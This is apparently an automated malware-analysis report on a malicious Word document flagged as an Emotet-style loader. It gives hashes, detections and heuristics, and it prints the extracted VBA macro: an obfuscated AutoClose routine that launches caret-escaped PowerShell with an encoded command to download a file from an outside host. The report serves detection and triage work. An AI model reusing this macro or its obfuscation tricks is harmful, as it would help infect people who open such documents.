Office (OLE) malware analysis — malicious · d9c4e3f7479762a3

MALICIOUS

Office (OLE)

225.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18

MD5: e83410a6a8ef68e98322960f097ae207 SHA-1: cf0c632b9fd9d6dc600f972a1c25b07425c57314 SHA-256: d9c4e3f7479762a3d90f852ba3b05c77b9185c433574584a1772834596e6a724

142 Risk Score

Heuristics 5

ClamAV: Doc.Malware.Emodldr-6703505-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-6703505-0
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.open��xmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 91301 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	91301 bytes
SHA-256: `ad07340b4163e8c3369a3f5419578beb93c76bcc4d6fe8d382621851dbb63e9e`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const HySivAzIcYQoXiPawYaHaxOQykuGIlixIQAii = 0 Sub AutoClose() On Error Resume Next LOBUqArytiUnIwifYqeqrurybuLYh = "cmd." + Chr(101) + "x" + Chr(101) + " /c P^o^" + Chr(87) + "^" + Chr(101) + "^r^s^h^" + Chr(101) + "^L^L^.^" + Chr(101) + "^x^" + Chr(101) + "^ ^-^N^o^E^x^i^t^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^z^A^H^U^A^c^w^B^v^A^D^I" Dim ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(5) If LenB("GAJAODWEwYl") < 72844 Then Dim lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(5) If LenB("tUfIGURorUDAiinoMOQyZeN") < 69814 Then lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(0) = VarType(Sqr(6981) + CInt("6981")) End If lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(1) = LTrim("tUfIGURorUDAiinoMOQyZeN") & "44" lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(2) = Day(69816981) If Len("lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU") < Len("tUfIGURorUDAiinoMOQyZeN") Then lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(3) = Weekday(69814) End If Dim RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(5) If LenB("OaEtytocyiEpOhekP") < 95187 Then RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(0) = VarType(Sqr(9518) + CInt("9518")) End If RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(1) = LTrim("OaEtytocyiEpOhekP") & "77" RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(2) = Day(95189518) If Len("RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa") < Len("OaEtytocyiEpOhekP") Then RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(3) = Weekday(95187) End If ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(0) = VarType(Sqr(7284) + CInt("7284")) Dim peXoLOhokISZattYieuPy(5) If LenB("fEsEmkumiNyMakuTEbOR") < 86843 Then peXoLOhokISZattYieuPy(0) = VarType(Sqr(8684) + CInt("8684")) End If peXoLOhokISZattYieuPy(1) = LTrim("fEsEmkumiNyMakuTEbOR") & "33" peXoLOhokISZattYieuPy(2) = Day(86848684) If Len("peXoLOhokISZattYieuPy") < Len("fEsEmkumiNyMakuTEbOR") Then peXoLOhokISZattYieuPy(3) = Weekday(86843) End If Dim rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(5) If LenB("mdyaUziLYzOTIKuaOSeP") < 30478 Then rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(0) = VarType(Sqr(3047) + CInt("3047")) End If rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(1) = LTrim("mdyaUziLYzOTIKuaOSeP") & "88" rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(2) = Day(30473047) If Len("rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa") < Len("mdyaUziLYzOTIKuaOSeP") Then rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(3) = Weekday(30478) End If End If ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(1) = LTrim("GAJAODWEwYl") & "44" ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(2) = Day(72847284) Dim QeloWicESewEwIghfymeBakeFSofA(5) If LenB("DUjUGEXylucUvUWuCErEd") < 5996 Then QeloWicESewEwIghfymeBakeFSofA(0) = VarType(Sqr(599) + CInt("599")) End If QeloWicESewEwIghfymeBakeFSofA(1) = LTrim("DUjUGEXylucUvUWuCErEd") & "66" QeloWicESewEwIghfymeBakeFSofA(2) = Day(599599) If Len("QeloWicESewEwIghfymeBakeFSofA") < Len("DUjUGEXylucUvUWuCErEd") Then QeloWicESewEwIghfymeBakeFSofA(3) = Weekday(5996) End If If Len("ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy") < Len("GAJAODWEwYl") Then Dim RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(5) If LenB("xumaoSaSONYtdabIT") < 20322 Then RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(0) = VarType(Sqr(2032) + CInt("2032")) End If RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(1) = LTrim("xumaoSaSONYtdabIT") & "22" RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(2) = Day(20322032) If Len("RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk") < Len("xumaoSaSONYtdabIT") Then RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(3) = Weekday(20322) End If ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(3) = Weekday(72844) End If Dim CyauNeGODovOWYkehylUaUQiHeGoMykIiECo(5) Dim OKYQyZexiaukeLiqoraiEZO ... (truncated)

SHA-256: ad07340b4163e8c3369a3f5419578beb93c76bcc4d6fe8d382621851dbb63e9e

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const HySivAzIcYQoXiPawYaHaxOQykuGIlixIQAii = 0
Sub AutoClose()
On Error Resume Next
LOBUqArytiUnIwifYqeqrurybuLYh = "cmd." + Chr(101) + "x" + Chr(101) + " /c P^o^" + Chr(87) + "^" + Chr(101) + "^r^s^h^" + Chr(101) + "^L^L^.^" + Chr(101) + "^x^" + Chr(101) + "^ ^-^N^o^E^x^i^t^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^A^z^A^H^U^A^c^w^B^v^A^D^I"
Dim ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(5)

If LenB("GAJAODWEwYl") < 72844 Then
Dim lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(5)

If LenB("tUfIGURorUDAiinoMOQyZeN") < 69814 Then
lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(0) = VarType(Sqr(6981) + CInt("6981"))
End If
lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(1) = LTrim("tUfIGURorUDAiinoMOQyZeN") & "44"
lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(2) = Day(69816981)

If Len("lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU") < Len("tUfIGURorUDAiinoMOQyZeN") Then
lePiwyLoXIdVAmisXyBOTylErEvILESULJEnyCU(3) = Weekday(69814)
End If
Dim RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(5)

If LenB("OaEtytocyiEpOhekP") < 95187 Then
RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(0) = VarType(Sqr(9518) + CInt("9518"))
End If
RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(1) = LTrim("OaEtytocyiEpOhekP") & "77"
RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(2) = Day(95189518)

If Len("RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa") < Len("OaEtytocyiEpOhekP") Then
RyxelYJyiesEiYdahIlaNYZcOWUMaGyTiDOfa(3) = Weekday(95187)
End If
ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(0) = VarType(Sqr(7284) + CInt("7284"))
Dim peXoLOhokISZattYieuPy(5)

If LenB("fEsEmkumiNyMakuTEbOR") < 86843 Then
peXoLOhokISZattYieuPy(0) = VarType(Sqr(8684) + CInt("8684"))
End If
peXoLOhokISZattYieuPy(1) = LTrim("fEsEmkumiNyMakuTEbOR") & "33"
peXoLOhokISZattYieuPy(2) = Day(86848684)

If Len("peXoLOhokISZattYieuPy") < Len("fEsEmkumiNyMakuTEbOR") Then
peXoLOhokISZattYieuPy(3) = Weekday(86843)
End If
Dim rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(5)

If LenB("mdyaUziLYzOTIKuaOSeP") < 30478 Then
rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(0) = VarType(Sqr(3047) + CInt("3047"))
End If
rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(1) = LTrim("mdyaUziLYzOTIKuaOSeP") & "88"
rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(2) = Day(30473047)

If Len("rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa") < Len("mdyaUziLYzOTIKuaOSeP") Then
rusyWYiijirYTYRrezUPyHYdUFiWuxeLOsa(3) = Weekday(30478)
End If
End If
ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(1) = LTrim("GAJAODWEwYl") & "44"
ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(2) = Day(72847284)

Dim QeloWicESewEwIghfymeBakeFSofA(5)

If LenB("DUjUGEXylucUvUWuCErEd") < 5996 Then
QeloWicESewEwIghfymeBakeFSofA(0) = VarType(Sqr(599) + CInt("599"))
End If
QeloWicESewEwIghfymeBakeFSofA(1) = LTrim("DUjUGEXylucUvUWuCErEd") & "66"
QeloWicESewEwIghfymeBakeFSofA(2) = Day(599599)

If Len("QeloWicESewEwIghfymeBakeFSofA") < Len("DUjUGEXylucUvUWuCErEd") Then
QeloWicESewEwIghfymeBakeFSofA(3) = Weekday(5996)
End If
If Len("ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy") < Len("GAJAODWEwYl") Then
Dim RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(5)

If LenB("xumaoSaSONYtdabIT") < 20322 Then
RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(0) = VarType(Sqr(2032) + CInt("2032"))
End If
RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(1) = LTrim("xumaoSaSONYtdabIT") & "22"
RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(2) = Day(20322032)

If Len("RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk") < Len("xumaoSaSONYtdabIT") Then
RuPuKUmOSIHoZZijihIbKApUwOVaqijfeGytAk(3) = Weekday(20322)
End If
ZAnYBILyqIZYguZiCOcohemWYqaZYRUdaSIpy(3) = Weekday(72844)
End If
Dim CyauNeGODovOWYkehylUaUQiHeGoMykIiECo(5)

Dim OKYQyZexiaukeLiqoraiEZO
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.